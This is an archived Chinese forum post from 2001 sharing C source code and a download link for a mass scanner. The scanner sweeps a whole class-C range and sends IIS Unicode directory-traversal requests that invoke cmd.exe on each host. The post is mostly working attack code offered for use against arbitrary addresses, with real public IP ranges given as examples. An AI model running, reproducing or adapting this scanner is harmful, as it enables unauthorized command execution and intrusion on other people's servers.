精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◇程序代码◇>>漏洞扫描程序源代码+可执行文件(ver 0.5)

主题:漏洞扫描程序源代码+可执行文件(ver 0.5)
发信人: maxview()
整理人: williamlong(2001-05-18 12:19:39), 站内信件
最近有朋友要这个程序的执行文件,我编译了一个,做到了主页上,有需要的朋友请自行去下载:http://idwin.163.net/index.htm

这个版本我将IP地址的扫描设定成了一个c段,使用方法是:scan xxx.xxx.xxx.*
其中的星号是从1到255,因为程序是单线成的,所以有点慢,我会尽快改进

另外这次还增加了另外几个UNICODE,这样就将程序所能扫描的漏洞完整了

/* UNICODE hole scanner. The version is 0.5 */

#include    <stdio.h>
#include    <string.h>
#include    <winsock.h>


main(int argc,char *argv[])
{
  if(argc!=2){
    printf("\nUNICODE hole scanner by Maxview. Ver 0.5\n");
    printf("Useage : scan [IP address] (C-class)\n");
    printf("Example: scan 202.100.2.* OR scan 211.17.65.*\n");
    return(1);
  }

  int sock;
  struct sockaddr_in blah;
  struct hostent *he;
  WSADATA              wsaData;
  WORD                 wVersionRequested=MAKEWORD(1,1);
  char                 buff[1024];
  char                 *exA="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
  char                 *exB="GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
  char                 *exC="GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
  char                 *exD="GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
  char                 *exE="GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
  char                 *fmsg="HTTP/1.1 200 OK";

    char host[1000];
    char net[1000];
    int i;

    strncpy(host,argv[1],999);
    if (host[strlen(host)-1]=='*')
    {
        host[strlen(host)-1]=0x0;
    }

    for (i=1; i<256; i++)
{
sprintf(net, "%s%d", host, i);

if (WSAStartup(wVersionRequested , &wsaData)){
printf("Winsock Initialization failed.\n");
exit(1);
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n");
exit(1);
}

sock = socket(AF_INET,SOCK_STREAM,0);
blah.sin_family = AF_INET;
blah.sin_port = htons(80);
blah.sin_addr.s_addr= inet_addr(net);

if ((he=gethostbyname(net))!=NULL){
memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);
  }
  else{
    if((blah.sin_addr.s_addr=inet_addr(net))==INADDR_NONE){
      WSACleanup();
      exit(1);
    }
  }

  if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
    send(sock,exA,strlen(exA),0);
    recv(sock,buff,sizeof(buff),0);
    if(strstr(buff,fmsg)!=NULL){
      printf("\nFound an UNICODE-A hole in %s %s\n", net, exA);
    }
    else printf(".");

    send(sock,exB,strlen(exB),0);
    recv(sock,buff,sizeof(buff),0);
    if(strstr(buff,fmsg)!=NULL){
      printf("\nFound an UNICODE-B hole in %s %s\n", net, exB);
    }
    else printf(".");

    send(sock,exC,strlen(exC),0);
    recv(sock,buff,sizeof(buff),0);
    if(strstr(buff,fmsg)!=NULL){
      printf("\nFound an UNICODE-C hole in %s %s\n", net, exC);
    }
    else printf(".");

    send(sock,exD,strlen(exD),0);
    recv(sock,buff,sizeof(buff),0);
    if(strstr(buff,fmsg)!=NULL){
      printf("\nFound an UNICODE-D hole in %s %s\n", net, exD);
    }
    else printf(".");

    send(sock,exE,strlen(exE),0);
    recv(sock,buff,sizeof(buff),0);
    if(strstr(buff,fmsg)!=NULL){
      printf("\nFound an UNICODE-E hole in %s %s\n", net, exE);
    }
    else printf(".");
  }
  else printf("Can not connect the address.\n");


  closesocket(sock);
  WSACleanup();
    }

}

[关闭][返回]